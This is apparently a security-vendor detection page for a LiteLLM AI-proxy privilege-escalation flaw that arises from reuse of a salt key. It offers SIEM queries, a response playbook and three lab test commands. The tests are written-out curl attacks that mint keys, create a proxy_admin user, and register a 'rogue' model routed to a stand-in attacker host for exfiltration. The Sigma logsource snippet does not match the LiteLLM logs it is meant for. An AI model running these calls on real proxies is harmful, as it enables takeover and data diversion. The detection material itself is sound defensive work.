Skip to content
CVE-2026-114612

LiteLLM Salt Key Cross-Domain Reuse Privilege Escalation to Proxy Admin (CVE-2026-114612)

Detects exploitation and exploitation-enabling conditions for CVE-2026-114612, a critical (CVSS 9.9) privilege-escalation flaw in the LiteLLM AI proxy. LiteLLM uses a single LITELLM_SALT_KEY to encrypt/sign sensitive material. Because the same salt key is reused across trust domains (e.g. shared between a lower-privilege tenant/instance and the admin control plane), an attacker who can obtain or forge material minted under that salt can mint or re-use credentials that resolve to the proxy admin role, escalating from a low-privilege API key to full LITELLM_PROXY_ADMIN control. This detection surfaces anomalous admin-scoped API usage (/key/generate, /user/new with admin roles, /model/new, /config/update, /team/member_add), key-generation bursts, and access from keys/users that suddenly gain admin privileges, as well as the vulnerable version banner. Affected: litellm >=1.91.0 <1.100.4, >=1.101.0 <1.101.3, >=1.102.0 <1.102.2, >=1.103.0 <1.103.1, 1.104.0rc1. Fixed in 1.100.4, 1.101.3, 1.102.2, 1.103.1, 1.104.0-rc.2.

Vulnerability Intelligence

Public PoC

What is CVE-2026-114612 LiteLLM Salt Key Cross-Domain Reuse Privilege Escalation to Proxy Admin (CVE-2026-114612)?

LiteLLM Salt Key Cross-Domain Reuse Privilege Escalation to Proxy Admin (CVE-2026-114612) (CVE-2026-114612) maps to the Privilege Escalation and Persistence and Initial Access tactics — the adversary is trying to gain higher-level permissions in MITRE ATT&CK.

This page provides production-ready detection logic for LiteLLM Salt Key Cross-Domain Reuse Privilege Escalation to Proxy Admin (CVE-2026-114612), covering the data sources and telemetry it touches: LiteLLM proxy access/audit logs, Reverse proxy logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Privilege Escalation Persistence Initial Access
Microsoft Sentinel / Defender
kusto
// df00tech DF00-fca940af86 · https://df00tech.com/detections/CVE-2026-114612 · licence: https://df00tech.com/detections/licence
// LiteLLM admin-scoped API abuse / privilege-escalation indicators (CVE-2026-114612)
// LiteLLM proxy access logs shipped as custom table LiteLLM_CL (adjust to your ingestion schema)
let adminEndpoints = dynamic(["/key/generate", "/user/new", "/model/new", "/config/update", "/team/member_add", "/organization/new", "/key/update"]);
LiteLLM_CL
| where TimeGenerated > ago(1h)
| extend Path = tostring(RequestPath_s), Key = tostring(ApiKeyHash_s), Role = tostring(UserRole_s), Src = tostring(SourceIP_s), Status = toint(StatusCode_d)
| where Path in (adminEndpoints) or Role has_any ("proxy_admin", "LITELLM_PROXY_ADMIN")
| summarize AdminCalls = count(), Endpoints = make_set(Path), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), Statuses = make_set(Status) by Key, Role, Src
| where AdminCalls >= 1 and (array_length(Endpoints) >= 2 or set_has_element(Statuses, 200))
| sort by AdminCalls desc

Surfaces API keys/users invoking LiteLLM admin-only management endpoints or presenting a proxy_admin role, which under CVE-2026-114612 can be reached by a low-privilege key via salt-key reuse. Correlate the offending key hash against the set of known admin keys.

critical severity medium confidence

Data Sources

LiteLLM proxy access/audit logs Reverse proxy logs

Required Tables

LiteLLM_CL

False Positives

  • Legitimate platform administrators provisioning keys, models or teams during onboarding
  • CI/CD automation that rotates keys via /key/generate on a schedule
  • Internal self-service portals that call /user/new on behalf of users

Query fingerprint DF00-fca940af86 · licence

Sigma logsource & community rules

The detection logic for LiteLLM Salt Key Cross-Domain Reuse Privilege Escalation to Proxy Admin (CVE-2026-114612) (CVE-2026-114612) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Low-privilege key invokes LiteLLM admin key-generation endpoint

    Expected signal: LiteLLM proxy access log entry for POST /key/generate with the low-privilege api_key_hash and resulting status code.

  2. Test 2 Create new user with proxy_admin role via /user/new

    Expected signal: LiteLLM access log for POST /user/new with user_role=proxy_admin in the request body.

  3. Test 3 Register rogue model via /model/new

    Expected signal: LiteLLM access log for POST /model/new including the api_base pointing at an external host.


Response Playbook

Triage

  1. Identify the offending api_key_hash/user and confirm whether it is a known, authorized administrator key. Cross-reference against your LiteLLM key inventory and the subset explicitly granted LITELLM_PROXY_ADMIN.
  2. Check the LiteLLM version running on the proxy (GET /health/readiness or the startup banner/container image tag). If it falls in >=1.91.0 <1.100.4, >=1.101.0 <1.101.3, >=1.102.0 <1.102.2, >=1.103.0 <1.103.1, or 1.104.0rc1, the instance is vulnerable.
  3. Review whether a single LITELLM_SALT_KEY is shared across multiple LiteLLM deployments or trust domains (dev/stage/prod, multi-tenant). Shared salt is the precondition for exploitation.
  4. Reconstruct the timeline of admin-endpoint calls (/key/generate, /user/new, /model/new, /config/update, /team/member_add) from the suspect key and determine which privileged objects were created or modified.

Containment

  1. Immediately revoke/delete the suspect API key and any keys it minted via /key/generate, and demote any users elevated to proxy_admin that cannot be verified as legitimate.
  2. Rotate LITELLM_SALT_KEY to a unique per-domain value and ensure no salt key is shared across trust boundaries; note that rotating the salt requires re-encrypting stored credentials per LiteLLM guidance.
  3. Upgrade LiteLLM to a fixed release (1.100.4, 1.101.3, 1.102.2, 1.103.1, or 1.104.0-rc.2 depending on branch) and restart the proxy.

Evidence Collection

  1. Export LiteLLM proxy access/audit logs covering all admin-endpoint calls, the api_key_hash, source IPs, user_role transitions, and HTTP status codes for the incident window.
  2. Capture the LiteLLM configuration (config.yaml / DB-stored config), the current key and user tables, and the running version/image digest before remediation to preserve the compromised state.

Escalation Criteria

  • ! Escalate to incident response if any key not on the authorized-admin list successfully (HTTP 200) called /key/generate, /user/new with an admin role, /config/update, or /model/new.
  • ! Escalate if the same LITELLM_SALT_KEY is confirmed shared across trust domains AND unexpected proxy_admin-scoped actions are observed, indicating active exploitation rather than misconfiguration alone.

Investigation Guide

Forensic Artifacts

  • > LiteLLM proxy access/audit log entries for admin endpoints with the attacker api_key_hash and user_role=proxy_admin
  • > LiteLLM key and user database tables showing newly created keys/users or elevated roles
  • > The LITELLM_SALT_KEY value and its deployment scope (which instances/domains share it)
  • > Container image tag / pip package version of the running LiteLLM proxy

Tuning Guidance

Baseline the set of legitimate proxy_admin api_key_hash values and the service accounts/CI identities that are allowed to call /key/generate, /user/new and /model/new, then exclude them from alerting. Narrow the admin-endpoint list to those actually exposed in your deployment. Where LiteLLM access logs do not natively include user_role, enrich from the key database. Lower noise further by alerting only on first-time-seen keys reaching admin endpoints rather than all occurrences.


Hunting Queries

Hunts for keys that successfully minted other keys via /key/generate, especially those not already recognized as proxy_admin or minting an unusually high volume — a hallmark of post-escalation persistence.

Hunting — KQL
kql
// df00tech DF00-fca940af86 · https://df00tech.com/detections/CVE-2026-114612 · licence: https://df00tech.com/detections/licence
LiteLLM_CL | where TimeGenerated > ago(30d) | extend Key=tostring(ApiKeyHash_s), Role=tostring(UserRole_s), Path=tostring(RequestPath_s) | where Path == "/key/generate" and toint(StatusCode_d)==200 | summarize MintedKeys=count(), FirstMint=min(TimeGenerated) by Key, Role | where Role !in ("proxy_admin") or MintedKeys > 5 | sort by MintedKeys desc
Hunting — SPL
spl
``` df00tech DF00-fca940af86 · https://df00tech.com/detections/CVE-2026-114612 · licence: https://df00tech.com/detections/licence ```
index=litellm sourcetype="litellm:proxy" request_path="/key/generate" status=200 earliest=-30d | stats count AS minted_keys min(_time) AS first_mint by api_key_hash user_role | where user_role!="proxy_admin" OR minted_keys>5 | sort - minted_keys

Atomic Red Team Tests

Test 1 Low-privilege key invokes LiteLLM admin key-generation endpoint
linux

Simulates a non-admin API key attempting to mint a new key via the admin-only /key/generate endpoint on a lab LiteLLM proxy.

Command

bash
curl -s -X POST http://127.0.0.1:4000/key/generate -H "Authorization: Bearer sk-lowpriv-test-key" -H "Content-Type: application/json" -d '{"models":["gpt-4"],"duration":"1h"}'

Cleanup

bash
curl -s -X POST http://127.0.0.1:4000/key/delete -H "Authorization: Bearer sk-admin-lab-key" -H "Content-Type: application/json" -d '{"keys":["<generated_key>"]}'

Expected Telemetry

LiteLLM proxy access log entry for POST /key/generate with the low-privilege api_key_hash and resulting status code.

Expected Detection

KQL/SPL admin-endpoint rule fires on the /key/generate call from a non-admin key.

Test 2 Create new user with proxy_admin role via /user/new
linux

Simulates creation of a new user carrying the proxy_admin role, as an attacker would do post-escalation to establish persistence.

Command

bash
curl -s -X POST http://127.0.0.1:4000/user/new -H "Authorization: Bearer sk-admin-lab-key" -H "Content-Type: application/json" -d '{"user_email":"[email protected]","user_role":"proxy_admin"}'

Cleanup

bash
curl -s -X POST http://127.0.0.1:4000/user/delete -H "Authorization: Bearer sk-admin-lab-key" -H "Content-Type: application/json" -d '{"user_ids":["[email protected]"]}'

Expected Telemetry

LiteLLM access log for POST /user/new with user_role=proxy_admin in the request body.

Expected Detection

Admin-endpoint / proxy_admin-role rule fires on the /user/new call.

Test 3 Register rogue model via /model/new
linux

Simulates an escalated admin registering a new (potentially exfiltration-routing) model backend via the admin /model/new endpoint.

Command

bash
curl -s -X POST http://127.0.0.1:4000/model/new -H "Authorization: Bearer sk-admin-lab-key" -H "Content-Type: application/json" -d '{"model_name":"rogue-proxy","litellm_params":{"model":"openai/gpt-4","api_base":"http://attacker.example.test/v1"}}'

Cleanup

bash
curl -s -X POST http://127.0.0.1:4000/model/delete -H "Authorization: Bearer sk-admin-lab-key" -H "Content-Type: application/json" -d '{"id":"rogue-proxy"}'

Expected Telemetry

LiteLLM access log for POST /model/new including the api_base pointing at an external host.

Expected Detection

Admin-endpoint rule fires on /model/new; hunting query flags the externally-routed model registration.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections